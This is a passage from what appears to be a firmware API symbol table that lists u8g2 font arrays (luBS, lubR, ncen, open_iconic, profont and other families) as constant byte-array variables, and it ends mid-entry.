-Variable,-,u8g2_font_luBIS19_tr,const uint8_t[], -Variable,-,u8g2_font_luBIS24_te,const uint8_t[], -Variable,-,u8g2_font_luBIS24_tf,const uint8_t[], -Variable,-,u8g2_font_luBIS24_tn,const uint8_t[], -Variable,-,u8g2_font_luBIS24_tr,const uint8_t[], -Variable,-,u8g2_font_luBS08_te,const uint8_t[], -Variable,-,u8g2_font_luBS08_tf,const uint8_t[], -Variable,-,u8g2_font_luBS08_tn,const uint8_t[], -Variable,-,u8g2_font_luBS08_tr,const uint8_t[], -Variable,-,u8g2_font_luBS10_te,const uint8_t[], -Variable,-,u8g2_font_luBS10_tf,const uint8_t[], -Variable,-,u8g2_font_luBS10_tn,const uint8_t[], -Variable,-,u8g2_font_luBS10_tr,const uint8_t[], -Variable,-,u8g2_font_luBS12_te,const uint8_t[], -Variable,-,u8g2_font_luBS12_tf,const uint8_t[], -Variable,-,u8g2_font_luBS12_tn,const uint8_t[], -Variable,-,u8g2_font_luBS12_tr,const uint8_t[], -Variable,-,u8g2_font_luBS14_te,const uint8_t[], -Variable,-,u8g2_font_luBS14_tf,const uint8_t[], -Variable,-,u8g2_font_luBS14_tn,const uint8_t[], -Variable,-,u8g2_font_luBS14_tr,const uint8_t[], -Variable,-,u8g2_font_luBS18_te,const uint8_t[], -Variable,-,u8g2_font_luBS18_tf,const uint8_t[], -Variable,-,u8g2_font_luBS18_tn,const uint8_t[], -Variable,-,u8g2_font_luBS18_tr,const uint8_t[], -Variable,-,u8g2_font_luBS19_te,const uint8_t[], -Variable,-,u8g2_font_luBS19_tf,const uint8_t[], -Variable,-,u8g2_font_luBS19_tn,const uint8_t[], -Variable,-,u8g2_font_luBS19_tr,const uint8_t[], -Variable,-,u8g2_font_luBS24_te,const uint8_t[], -Variable,-,u8g2_font_luBS24_tf,const uint8_t[], -Variable,-,u8g2_font_luBS24_tn,const uint8_t[], -Variable,-,u8g2_font_luBS24_tr,const uint8_t[], -Variable,-,u8g2_font_luIS08_te,const uint8_t[], -Variable,-,u8g2_font_luIS08_tf,const uint8_t[], -Variable,-,u8g2_font_luIS08_tn,const uint8_t[], -Variable,-,u8g2_font_luIS08_tr,const uint8_t[], -Variable,-,u8g2_font_luIS10_te,const uint8_t[], -Variable,-,u8g2_font_luIS10_tf,const uint8_t[], -Variable,-,u8g2_font_luIS10_tn,const uint8_t[], -Variable,-,u8g2_font_luIS10_tr,const uint8_t[], -Variable,-,u8g2_font_luIS12_te,const uint8_t[], -Variable,-,u8g2_font_luIS12_tf,const uint8_t[], -Variable,-,u8g2_font_luIS12_tn,const uint8_t[], -Variable,-,u8g2_font_luIS12_tr,const uint8_t[], -Variable,-,u8g2_font_luIS14_te,const uint8_t[], -Variable,-,u8g2_font_luIS14_tf,const uint8_t[], -Variable,-,u8g2_font_luIS14_tn,const uint8_t[], -Variable,-,u8g2_font_luIS14_tr,const uint8_t[], -Variable,-,u8g2_font_luIS18_te,const uint8_t[], -Variable,-,u8g2_font_luIS18_tf,const uint8_t[], -Variable,-,u8g2_font_luIS18_tn,const uint8_t[], -Variable,-,u8g2_font_luIS18_tr,const uint8_t[], -Variable,-,u8g2_font_luIS19_te,const uint8_t[], -Variable,-,u8g2_font_luIS19_tf,const uint8_t[], -Variable,-,u8g2_font_luIS19_tn,const uint8_t[], -Variable,-,u8g2_font_luIS19_tr,const uint8_t[], -Variable,-,u8g2_font_luIS24_te,const uint8_t[], -Variable,-,u8g2_font_luIS24_tf,const uint8_t[], -Variable,-,u8g2_font_luIS24_tn,const uint8_t[], -Variable,-,u8g2_font_luIS24_tr,const uint8_t[], -Variable,-,u8g2_font_luRS08_te,const uint8_t[], -Variable,-,u8g2_font_luRS08_tf,const uint8_t[], -Variable,-,u8g2_font_luRS08_tn,const uint8_t[], -Variable,-,u8g2_font_luRS08_tr,const uint8_t[], -Variable,-,u8g2_font_luRS10_te,const uint8_t[], -Variable,-,u8g2_font_luRS10_tf,const uint8_t[], -Variable,-,u8g2_font_luRS10_tn,const uint8_t[], -Variable,-,u8g2_font_luRS10_tr,const uint8_t[], -Variable,-,u8g2_font_luRS12_te,const uint8_t[], -Variable,-,u8g2_font_luRS12_tf,const uint8_t[], -Variable,-,u8g2_font_luRS12_tn,const uint8_t[], -Variable,-,u8g2_font_luRS12_tr,const uint8_t[], -Variable,-,u8g2_font_luRS14_te,const uint8_t[], -Variable,-,u8g2_font_luRS14_tf,const uint8_t[], -Variable,-,u8g2_font_luRS14_tn,const uint8_t[], -Variable,-,u8g2_font_luRS14_tr,const uint8_t[], -Variable,-,u8g2_font_luRS18_te,const uint8_t[], -Variable,-,u8g2_font_luRS18_tf,const uint8_t[], -Variable,-,u8g2_font_luRS18_tn,const uint8_t[], -Variable,-,u8g2_font_luRS18_tr,const uint8_t[], -Variable,-,u8g2_font_luRS19_te,const uint8_t[], -Variable,-,u8g2_font_luRS19_tf,const uint8_t[], -Variable,-,u8g2_font_luRS19_tn,const uint8_t[], -Variable,-,u8g2_font_luRS19_tr,const uint8_t[], -Variable,-,u8g2_font_luRS24_te,const uint8_t[], -Variable,-,u8g2_font_luRS24_tf,const uint8_t[], -Variable,-,u8g2_font_luRS24_tn,const uint8_t[], -Variable,-,u8g2_font_luRS24_tr,const uint8_t[], -Variable,-,u8g2_font_lubB08_te,const uint8_t[], -Variable,-,u8g2_font_lubB08_tf,const uint8_t[], -Variable,-,u8g2_font_lubB08_tn,const uint8_t[], -Variable,-,u8g2_font_lubB08_tr,const uint8_t[], -Variable,-,u8g2_font_lubB10_te,const uint8_t[], -Variable,-,u8g2_font_lubB10_tf,const uint8_t[], -Variable,-,u8g2_font_lubB10_tn,const uint8_t[], -Variable,-,u8g2_font_lubB10_tr,const uint8_t[], -Variable,-,u8g2_font_lubB12_te,const uint8_t[], -Variable,-,u8g2_font_lubB12_tf,const uint8_t[], -Variable,-,u8g2_font_lubB12_tn,const uint8_t[], -Variable,-,u8g2_font_lubB12_tr,const uint8_t[], -Variable,-,u8g2_font_lubB14_te,const uint8_t[], -Variable,-,u8g2_font_lubB14_tf,const uint8_t[], -Variable,-,u8g2_font_lubB14_tn,const uint8_t[], -Variable,-,u8g2_font_lubB14_tr,const uint8_t[], -Variable,-,u8g2_font_lubB18_te,const uint8_t[], -Variable,-,u8g2_font_lubB18_tf,const uint8_t[], -Variable,-,u8g2_font_lubB18_tn,const uint8_t[], -Variable,-,u8g2_font_lubB18_tr,const uint8_t[], -Variable,-,u8g2_font_lubB19_te,const uint8_t[], -Variable,-,u8g2_font_lubB19_tf,const uint8_t[], -Variable,-,u8g2_font_lubB19_tn,const uint8_t[], -Variable,-,u8g2_font_lubB19_tr,const uint8_t[], -Variable,-,u8g2_font_lubB24_te,const uint8_t[], -Variable,-,u8g2_font_lubB24_tf,const uint8_t[], -Variable,-,u8g2_font_lubB24_tn,const uint8_t[], -Variable,-,u8g2_font_lubB24_tr,const uint8_t[], -Variable,-,u8g2_font_lubBI08_te,const uint8_t[], -Variable,-,u8g2_font_lubBI08_tf,const uint8_t[], -Variable,-,u8g2_font_lubBI08_tn,const uint8_t[], -Variable,-,u8g2_font_lubBI08_tr,const uint8_t[], -Variable,-,u8g2_font_lubBI10_te,const uint8_t[], -Variable,-,u8g2_font_lubBI10_tf,const uint8_t[], -Variable,-,u8g2_font_lubBI10_tn,const uint8_t[], -Variable,-,u8g2_font_lubBI10_tr,const uint8_t[], -Variable,-,u8g2_font_lubBI12_te,const uint8_t[], -Variable,-,u8g2_font_lubBI12_tf,const uint8_t[], -Variable,-,u8g2_font_lubBI12_tn,const uint8_t[], -Variable,-,u8g2_font_lubBI12_tr,const uint8_t[], -Variable,-,u8g2_font_lubBI14_te,const uint8_t[], -Variable,-,u8g2_font_lubBI14_tf,const uint8_t[], -Variable,-,u8g2_font_lubBI14_tn,const uint8_t[], -Variable,-,u8g2_font_lubBI14_tr,const uint8_t[], -Variable,-,u8g2_font_lubBI18_te,const uint8_t[], -Variable,-,u8g2_font_lubBI18_tf,const uint8_t[], -Variable,-,u8g2_font_lubBI18_tn,const uint8_t[], -Variable,-,u8g2_font_lubBI18_tr,const uint8_t[], -Variable,-,u8g2_font_lubBI19_te,const uint8_t[], -Variable,-,u8g2_font_lubBI19_tf,const uint8_t[], -Variable,-,u8g2_font_lubBI19_tn,const uint8_t[], -Variable,-,u8g2_font_lubBI19_tr,const uint8_t[], -Variable,-,u8g2_font_lubBI24_te,const uint8_t[], -Variable,-,u8g2_font_lubBI24_tf,const uint8_t[], -Variable,-,u8g2_font_lubBI24_tn,const uint8_t[], -Variable,-,u8g2_font_lubBI24_tr,const uint8_t[], -Variable,-,u8g2_font_lubI08_te,const uint8_t[], -Variable,-,u8g2_font_lubI08_tf,const uint8_t[], -Variable,-,u8g2_font_lubI08_tn,const uint8_t[], -Variable,-,u8g2_font_lubI08_tr,const uint8_t[], -Variable,-,u8g2_font_lubI10_te,const uint8_t[], -Variable,-,u8g2_font_lubI10_tf,const uint8_t[], -Variable,-,u8g2_font_lubI10_tn,const uint8_t[], -Variable,-,u8g2_font_lubI10_tr,const uint8_t[], -Variable,-,u8g2_font_lubI12_te,const uint8_t[], -Variable,-,u8g2_font_lubI12_tf,const uint8_t[], -Variable,-,u8g2_font_lubI12_tn,const uint8_t[], -Variable,-,u8g2_font_lubI12_tr,const uint8_t[], -Variable,-,u8g2_font_lubI14_te,const uint8_t[], -Variable,-,u8g2_font_lubI14_tf,const uint8_t[], -Variable,-,u8g2_font_lubI14_tn,const uint8_t[], -Variable,-,u8g2_font_lubI14_tr,const uint8_t[], -Variable,-,u8g2_font_lubI18_te,const uint8_t[], -Variable,-,u8g2_font_lubI18_tf,const uint8_t[], -Variable,-,u8g2_font_lubI18_tn,const uint8_t[], -Variable,-,u8g2_font_lubI18_tr,const uint8_t[], -Variable,-,u8g2_font_lubI19_te,const uint8_t[], -Variable,-,u8g2_font_lubI19_tf,const uint8_t[], -Variable,-,u8g2_font_lubI19_tn,const uint8_t[], -Variable,-,u8g2_font_lubI19_tr,const uint8_t[], -Variable,-,u8g2_font_lubI24_te,const uint8_t[], -Variable,-,u8g2_font_lubI24_tf,const uint8_t[], -Variable,-,u8g2_font_lubI24_tn,const uint8_t[], -Variable,-,u8g2_font_lubI24_tr,const uint8_t[], -Variable,-,u8g2_font_lubR08_te,const uint8_t[], -Variable,-,u8g2_font_lubR08_tf,const uint8_t[], -Variable,-,u8g2_font_lubR08_tn,const uint8_t[], -Variable,-,u8g2_font_lubR08_tr,const uint8_t[], -Variable,-,u8g2_font_lubR10_te,const uint8_t[], -Variable,-,u8g2_font_lubR10_tf,const uint8_t[], -Variable,-,u8g2_font_lubR10_tn,const uint8_t[], -Variable,-,u8g2_font_lubR10_tr,const uint8_t[], -Variable,-,u8g2_font_lubR12_te,const uint8_t[], -Variable,-,u8g2_font_lubR12_tf,const uint8_t[], -Variable,-,u8g2_font_lubR12_tn,const uint8_t[], -Variable,-,u8g2_font_lubR12_tr,const uint8_t[], -Variable,-,u8g2_font_lubR14_te,const uint8_t[], -Variable,-,u8g2_font_lubR14_tf,const uint8_t[], -Variable,-,u8g2_font_lubR14_tn,const uint8_t[], -Variable,-,u8g2_font_lubR14_tr,const uint8_t[], -Variable,-,u8g2_font_lubR18_te,const uint8_t[], -Variable,-,u8g2_font_lubR18_tf,const uint8_t[], -Variable,-,u8g2_font_lubR18_tn,const uint8_t[], -Variable,-,u8g2_font_lubR18_tr,const uint8_t[], -Variable,-,u8g2_font_lubR19_te,const uint8_t[], -Variable,-,u8g2_font_lubR19_tf,const uint8_t[], -Variable,-,u8g2_font_lubR19_tn,const uint8_t[], -Variable,-,u8g2_font_lubR19_tr,const uint8_t[], -Variable,-,u8g2_font_lubR24_te,const uint8_t[], -Variable,-,u8g2_font_lubR24_tf,const uint8_t[], -Variable,-,u8g2_font_lubR24_tn,const uint8_t[], -Variable,-,u8g2_font_lubR24_tr,const uint8_t[], -Variable,-,u8g2_font_lucasarts_scumm_subtitle_o_tf,const uint8_t[], -Variable,-,u8g2_font_lucasarts_scumm_subtitle_o_tn,const uint8_t[], -Variable,-,u8g2_font_lucasarts_scumm_subtitle_o_tr,const uint8_t[], -Variable,-,u8g2_font_lucasarts_scumm_subtitle_r_tf,const uint8_t[], -Variable,-,u8g2_font_lucasarts_scumm_subtitle_r_tn,const uint8_t[], -Variable,-,u8g2_font_lucasarts_scumm_subtitle_r_tr,const uint8_t[], -Variable,-,u8g2_font_lucasfont_alternate_tf,const uint8_t[], -Variable,-,u8g2_font_lucasfont_alternate_tn,const uint8_t[], -Variable,-,u8g2_font_lucasfont_alternate_tr,const uint8_t[], -Variable,-,u8g2_font_m2icon_5_tf,const uint8_t[], -Variable,-,u8g2_font_m2icon_7_tf,const uint8_t[], -Variable,-,u8g2_font_m2icon_9_tf,const uint8_t[], -Variable,-,u8g2_font_mademoiselle_mel_tn,const uint8_t[], -Variable,-,u8g2_font_mademoiselle_mel_tr,const uint8_t[], -Variable,-,u8g2_font_maniac_te,const uint8_t[], -Variable,-,u8g2_font_maniac_tf,const uint8_t[], -Variable,-,u8g2_font_maniac_tn,const uint8_t[], -Variable,-,u8g2_font_maniac_tr,const uint8_t[], -Variable,-,u8g2_font_mercutio_basic_nbp_t_all,const uint8_t[], -Variable,-,u8g2_font_mercutio_basic_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_mercutio_basic_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_mercutio_basic_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_mercutio_sc_nbp_t_all,const uint8_t[], -Variable,-,u8g2_font_mercutio_sc_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_mercutio_sc_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_mercutio_sc_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_michaelmouse_tu,const uint8_t[], -Variable,-,u8g2_font_micro_mn,const uint8_t[], -Variable,-,u8g2_font_micro_mr,const uint8_t[], -Variable,-,u8g2_font_micro_tn,const uint8_t[], -Variable,-,u8g2_font_micro_tr,const uint8_t[], -Variable,-,u8g2_font_miranda_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_miranda_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_miranda_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_missingplanet_t_all,const uint8_t[], -Variable,-,u8g2_font_missingplanet_tf,const uint8_t[], -Variable,-,u8g2_font_missingplanet_tn,const uint8_t[], -Variable,-,u8g2_font_missingplanet_tr,const uint8_t[], -Variable,-,u8g2_font_mozart_nbp_h_all,const uint8_t[], -Variable,-,u8g2_font_mozart_nbp_t_all,const uint8_t[], -Variable,-,u8g2_font_mozart_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_mozart_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_mozart_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_ncenB08_te,const uint8_t[], -Variable,-,u8g2_font_ncenB08_tf,const uint8_t[], -Variable,-,u8g2_font_ncenB08_tn,const uint8_t[], -Variable,-,u8g2_font_ncenB08_tr,const uint8_t[], -Variable,-,u8g2_font_ncenB10_te,const uint8_t[], -Variable,-,u8g2_font_ncenB10_tf,const uint8_t[], -Variable,-,u8g2_font_ncenB10_tn,const uint8_t[], -Variable,-,u8g2_font_ncenB10_tr,const uint8_t[], -Variable,-,u8g2_font_ncenB12_te,const uint8_t[], -Variable,-,u8g2_font_ncenB12_tf,const uint8_t[], -Variable,-,u8g2_font_ncenB12_tn,const uint8_t[], -Variable,-,u8g2_font_ncenB12_tr,const uint8_t[], -Variable,-,u8g2_font_ncenB14_te,const uint8_t[], -Variable,-,u8g2_font_ncenB14_tf,const uint8_t[], -Variable,-,u8g2_font_ncenB14_tn,const uint8_t[], -Variable,-,u8g2_font_ncenB14_tr,const uint8_t[], -Variable,-,u8g2_font_ncenB18_te,const uint8_t[], -Variable,-,u8g2_font_ncenB18_tf,const uint8_t[], -Variable,-,u8g2_font_ncenB18_tn,const uint8_t[], -Variable,-,u8g2_font_ncenB18_tr,const uint8_t[], -Variable,-,u8g2_font_ncenB24_te,const uint8_t[], -Variable,-,u8g2_font_ncenB24_tf,const uint8_t[], -Variable,-,u8g2_font_ncenB24_tn,const uint8_t[], -Variable,-,u8g2_font_ncenB24_tr,const uint8_t[], -Variable,-,u8g2_font_ncenR08_te,const uint8_t[], -Variable,-,u8g2_font_ncenR08_tf,const uint8_t[], -Variable,-,u8g2_font_ncenR08_tn,const uint8_t[], -Variable,-,u8g2_font_ncenR08_tr,const uint8_t[], -Variable,-,u8g2_font_ncenR10_te,const uint8_t[], -Variable,-,u8g2_font_ncenR10_tf,const uint8_t[], -Variable,-,u8g2_font_ncenR10_tn,const uint8_t[], -Variable,-,u8g2_font_ncenR10_tr,const uint8_t[], -Variable,-,u8g2_font_ncenR12_te,const uint8_t[], -Variable,-,u8g2_font_ncenR12_tf,const uint8_t[], -Variable,-,u8g2_font_ncenR12_tn,const uint8_t[], -Variable,-,u8g2_font_ncenR12_tr,const uint8_t[], -Variable,-,u8g2_font_ncenR14_te,const uint8_t[], -Variable,-,u8g2_font_ncenR14_tf,const uint8_t[], -Variable,-,u8g2_font_ncenR14_tn,const uint8_t[], -Variable,-,u8g2_font_ncenR14_tr,const uint8_t[], -Variable,-,u8g2_font_ncenR18_te,const uint8_t[], -Variable,-,u8g2_font_ncenR18_tf,const uint8_t[], -Variable,-,u8g2_font_ncenR18_tn,const uint8_t[], -Variable,-,u8g2_font_ncenR18_tr,const uint8_t[], -Variable,-,u8g2_font_ncenR24_te,const uint8_t[], -Variable,-,u8g2_font_ncenR24_tf,const uint8_t[], -Variable,-,u8g2_font_ncenR24_tn,const uint8_t[], -Variable,-,u8g2_font_ncenR24_tr,const uint8_t[], -Variable,-,u8g2_font_nerhoe_tf,const uint8_t[], -Variable,-,u8g2_font_nerhoe_tn,const uint8_t[], -Variable,-,u8g2_font_nerhoe_tr,const uint8_t[], -Variable,-,u8g2_font_nine_by_five_nbp_t_all,const uint8_t[], -Variable,-,u8g2_font_nine_by_five_nbp_tf,const uint8_t[], -Variable,-,u8g2_font_nine_by_five_nbp_tn,const uint8_t[], -Variable,-,u8g2_font_nine_by_five_nbp_tr,const uint8_t[], -Variable,-,u8g2_font_nokiafc22_tf,const uint8_t[], -Variable,-,u8g2_font_nokiafc22_tn,const uint8_t[], -Variable,-,u8g2_font_nokiafc22_tr,const uint8_t[], -Variable,-,u8g2_font_nokiafc22_tu,const uint8_t[], -Variable,-,u8g2_font_oldwizard_tf,const uint8_t[], -Variable,-,u8g2_font_oldwizard_tn,const uint8_t[], -Variable,-,u8g2_font_oldwizard_tr,const uint8_t[], -Variable,-,u8g2_font_oldwizard_tu,const uint8_t[], -Variable,-,u8g2_font_open_iconic_all_1x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_all_2x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_all_4x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_all_6x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_all_8x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_app_1x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_app_2x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_app_4x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_app_6x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_app_8x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_arrow_1x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_arrow_2x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_arrow_4x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_arrow_6x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_arrow_8x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_check_1x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_check_2x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_check_4x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_check_6x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_check_8x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_email_1x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_email_2x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_email_4x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_email_6x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_email_8x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_embedded_1x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_embedded_2x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_embedded_4x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_embedded_6x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_embedded_8x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_gui_1x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_gui_2x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_gui_4x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_gui_6x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_gui_8x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_human_1x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_human_2x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_human_4x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_human_6x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_human_8x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_mime_1x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_mime_2x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_mime_4x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_mime_6x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_mime_8x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_other_1x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_other_2x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_other_4x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_other_6x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_other_8x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_play_1x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_play_2x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_play_4x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_play_6x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_play_8x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_text_1x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_text_2x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_text_4x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_text_6x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_text_8x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_thing_1x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_thing_2x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_thing_4x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_thing_6x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_thing_8x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_weather_1x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_weather_2x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_weather_4x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_weather_6x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_weather_8x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_www_1x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_www_2x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_www_4x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_www_6x_t,const uint8_t[], -Variable,-,u8g2_font_open_iconic_www_8x_t,const uint8_t[], -Variable,-,u8g2_font_ordinarybasis_t_all,const uint8_t[], -Variable,-,u8g2_font_ordinarybasis_tf,const uint8_t[], -Variable,-,u8g2_font_ordinarybasis_tn,const uint8_t[], -Variable,-,u8g2_font_ordinarybasis_tr,const uint8_t[], -Variable,-,u8g2_font_osb18_tf,const uint8_t[], -Variable,-,u8g2_font_osb18_tn,const uint8_t[], -Variable,-,u8g2_font_osb18_tr,const uint8_t[], -Variable,-,u8g2_font_osb21_tf,const uint8_t[], -Variable,-,u8g2_font_osb21_tn,const uint8_t[], -Variable,-,u8g2_font_osb21_tr,const uint8_t[], -Variable,-,u8g2_font_osb26_tf,const uint8_t[], -Variable,-,u8g2_font_osb26_tn,const uint8_t[], -Variable,-,u8g2_font_osb26_tr,const uint8_t[], -Variable,-,u8g2_font_osb29_tf,const uint8_t[], -Variable,-,u8g2_font_osb29_tn,const uint8_t[], -Variable,-,u8g2_font_osb29_tr,const uint8_t[], -Variable,-,u8g2_font_osb35_tf,const uint8_t[], -Variable,-,u8g2_font_osb35_tn,const uint8_t[], -Variable,-,u8g2_font_osb35_tr,const uint8_t[], -Variable,-,u8g2_font_osb41_tf,const uint8_t[], -Variable,-,u8g2_font_osb41_tn,const uint8_t[], -Variable,-,u8g2_font_osb41_tr,const uint8_t[], -Variable,-,u8g2_font_oskool_tf,const uint8_t[], -Variable,-,u8g2_font_oskool_tn,const uint8_t[], -Variable,-,u8g2_font_oskool_tr,const uint8_t[], -Variable,-,u8g2_font_osr18_tf,const uint8_t[], -Variable,-,u8g2_font_osr18_tn,const uint8_t[], -Variable,-,u8g2_font_osr18_tr,const uint8_t[], -Variable,-,u8g2_font_osr21_tf,const uint8_t[], -Variable,-,u8g2_font_osr21_tn,const uint8_t[], -Variable,-,u8g2_font_osr21_tr,const uint8_t[], -Variable,-,u8g2_font_osr26_tf,const uint8_t[], -Variable,-,u8g2_font_osr26_tn,const uint8_t[], -Variable,-,u8g2_font_osr26_tr,const uint8_t[], -Variable,-,u8g2_font_osr29_tf,const uint8_t[], -Variable,-,u8g2_font_osr29_tn,const uint8_t[], -Variable,-,u8g2_font_osr29_tr,const uint8_t[], -Variable,-,u8g2_font_osr35_tf,const uint8_t[], -Variable,-,u8g2_font_osr35_tn,const uint8_t[], -Variable,-,u8g2_font_osr35_tr,const uint8_t[], -Variable,-,u8g2_font_osr41_tf,const uint8_t[], -Variable,-,u8g2_font_osr41_tn,const uint8_t[], -Variable,-,u8g2_font_osr41_tr,const uint8_t[], -Variable,-,u8g2_font_p01type_tf,const uint8_t[], -Variable,-,u8g2_font_p01type_tn,const uint8_t[], -Variable,-,u8g2_font_p01type_tr,const uint8_t[], -Variable,-,u8g2_font_pcsenior_8f,const uint8_t[], -Variable,-,u8g2_font_pcsenior_8n,const uint8_t[], -Variable,-,u8g2_font_pcsenior_8r,const uint8_t[], -Variable,-,u8g2_font_pcsenior_8u,const uint8_t[], -Variable,-,u8g2_font_pearfont_tr,const uint8_t[], -Variable,-,u8g2_font_pieceofcake_mel_tn,const uint8_t[], -Variable,-,u8g2_font_pieceofcake_mel_tr,const uint8_t[], -Variable,-,u8g2_font_pixelle_micro_tn,const uint8_t[], -Variable,-,u8g2_font_pixelle_micro_tr,const uint8_t[], -Variable,-,u8g2_font_pixelmordred_t_all,const uint8_t[], -Variable,-,u8g2_font_pixelmordred_tf,const uint8_t[], -Variable,-,u8g2_font_pixelmordred_tn,const uint8_t[], -Variable,-,u8g2_font_pixelmordred_tr,const uint8_t[], -Variable,-,u8g2_font_pixelpoiiz_tr,const uint8_t[], -Variable,-,u8g2_font_press_mel_tn,const uint8_t[], -Variable,-,u8g2_font_press_mel_tr,const uint8_t[], -Variable,-,u8g2_font_pressstart2p_8f,const uint8_t[], -Variable,-,u8g2_font_pressstart2p_8n,const uint8_t[], -Variable,-,u8g2_font_pressstart2p_8r,const uint8_t[], -Variable,-,u8g2_font_pressstart2p_8u,const uint8_t[], -Variable,-,u8g2_font_profont10_mf,const uint8_t[], -Variable,-,u8g2_font_profont10_mn,const uint8_t[], -Variable,-,u8g2_font_profont10_mr,const uint8_t[], -Variable,-,u8g2_font_profont10_tf,const uint8_t[], -Variable,-,u8g2_font_profont10_tn,const uint8_t[], -Variable,-,u8g2_font_profont10_tr,const uint8_t[], -Variable,-,u8g2_font_profont11_mf,const uint8_t[], -Variable,-,u8g2_font_profont11_mn,const uint8_t[], -Variable,-,u8g2_font_profont11_mr,const uint8_t[], -Variable,-,u8g2_font_profont11_tf,const uint8_t[], -Variable,-,u8g2_font_profont11_tn,const uint8_t[], -Variable,-,u8g2_font_profont11_tr,const uint8_t[], -Variable,-,u8g2_font_profont12_mf,const uint8_t[], -Variable,-,u8g2_font_profont12_mn,const uint8_t[], -Variable,-,u8g2_font_profont12_mr,const uint8_t[], -Variable,-,u8g2_font_profont12_tf,const uint8_t[], -Variable,-,u8g2_font_profont12_tn,const uint8_t[], -Variable,-,u8g2_font_profont12_tr,const uint8_t[], -Variable,-,u8g2_font_profont15_mf,const uint8_t[], -Variable,-,u8g2_font_profont15_mn,const uint8_t[], -Variable,-,u8g2_font_profont15_mr,const uint8_t[], -Variable,-,u8g2_font_profont15_tf,const uint8_t[], -Variable,-,u8g2_font_profont15_tn,const uint8_t[], -Variable,-,u8g2_font_profont15_tr,const uint8_t[], -Variable,-,u8g2_font_profont17_mf,const uint8_t[], -Variable,-,u8g2_font_profont17_mn,const uint8_t[], -Variable,-,u8g2_font_profont17_mr,const uint8_t[], -Variable,-,u8g2_font_profont17_tf,const uint8_t[], -Variable,-,u8g2_font_profont17_tn,const uint8_t[], -Variable,-,u8g2_font_profont17_tr,const uint8_t[], -Variable,-,u8g2_font_profont22_mf,const 